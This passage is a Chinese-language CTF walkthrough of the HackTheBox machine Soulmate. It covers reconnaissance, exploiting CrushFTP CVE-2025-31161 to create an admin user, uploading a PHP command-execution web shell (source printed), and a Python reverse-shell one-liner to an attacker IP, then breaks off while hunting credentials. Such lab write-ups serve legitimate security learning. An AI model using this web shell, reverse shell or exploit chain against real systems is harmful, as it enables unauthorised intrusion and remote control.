HackTheBox - Soulmate 渗透测试复盘
机器信息
- 机器名称:Soulmate
- URL:https://app.hackthebox.com/machines/Soulmate
- IP:10.10.11.86
- 域名/主机:soulmate.htb,ftp.soulmate.htb
初步信息收集
Nmap 扫描结果
对目标 10.10.11.86 进行端口扫描,发现以下域名:
soulmate.htbftp.soulmate.htb
Web 枚举
访问 soulmate.htb
浏览器打开 http://soulmate.htb/,发现这是一个交友网站,允许新用户注册和登录。
主要功能包括:
- 用户注册与登录
- 约会资料的创建与管理
目录枚举
feroxbuster -u http://soulmate.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,json,txt,log -t 50 -e
结果:未发现特别有用的目录。
子域名枚举
ffuf -u http://10.129.xxx.175 -H "Host: FUZZ.soulmate.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fw 4
发现:子域名 ftp.soulmate.htb
FTP 子域分析
访问 ftp.soulmate.htb
访问 http://ftp.soulmate.htb 会重定向至 http://ftp.soulmate.htb/WebInterface/login.html,页面显示为 CrushFTP 登录界面。
版本识别
在 HTML 源码中发现了 JS 与 CSS 的版本信息:
<script type="module" crossorigin src="/WebInterface/new-ui/assets/app/components/loader2.js?v=11.W.657-2025_03_08_07_52"></script>
识别版本:CrushFTP 11.W.657(构建时间:2025年3月8日)
漏洞利用
CVE-2025-31161
研究后发现该版本 CrushFTP 存在已知漏洞 CVE-2025-31161。
漏洞利用
# 克隆漏洞利用脚本
git clone https://github.com/Immersive-Labs-Sec/CVE-2025-31161.git
# 执行漏洞利用,创建新用户
python3 cve-2025-31161.py --target_host ftp.soulmate.htb --port 80 --target_user root --new_user zero --password 1234
结果:成功创建管理员用户 zero,密码为 1234。
管理员访问
- 使用
zero:1234登录 - 进入管理面板
http://ftp.soulmate.htb/WebInterface/UserManager/index.html - 修改用户
ben的密码为123456
初始访问
上传 Web Shell
- 打开
http://ftp.soulmate.htb/#/webProd/ - 使用 Add files 功能上传
simplebackdoor.php
简单的 PHP 后门
<!-- 简单的 PHP 后门 by DK (http://michaeldaw.org) -->
<?php
if(isset($_REQUEST['cmd'])){
echo "<pre>";
$cmd = ($_REQUEST['cmd']);
system($cmd);
echo "</pre>";
die;
}
?>
使用方法:
http://target.com/simplebackdoor.php?cmd=cat+/etc/passwd
反向 Shell
# 启动监听
pwncat-cs --listen --port 4444
# Python 反弹 Shell 载荷
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.xx.1x4",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("sh")'
访问点:
http://soulmate.htb/simplebackdoor.php?cmd=[PAYLOAD]
注意:一开始尝试访问
http://ftp.soulmate.htb/#/webProd/simplebackdoor.php,结果是文件被下载而非执行。
实测发现文件在主站点根目录可访问:http://soulmate.htb/simplebackdoor.php。
初始持久化
系统枚举
./linpeas.sh
结果:发现多个开放端口,其中包括 2222 端口。
2222 端口调查
nc 127.0.0.1 2222
返回结果:SSH-2.0-Erlang/5.2.9
表明目标在 2222 端口运行了基于 Erlang 的 SSH 服务。
Erlang 组件发现
通过 LinPEAS 的结果,找到相关 Erlang 组件:
cd /usr/local/lib/erlang_login
ls -al
关键文件:
/usr/local/lib/erlang_login/start.escript/usr/local/lib/erlang_login/login.escript/usr/local/lib/erlang_login/login_wrapper
凭据发现
cat /usr/local/lib/erlang_login/start.escript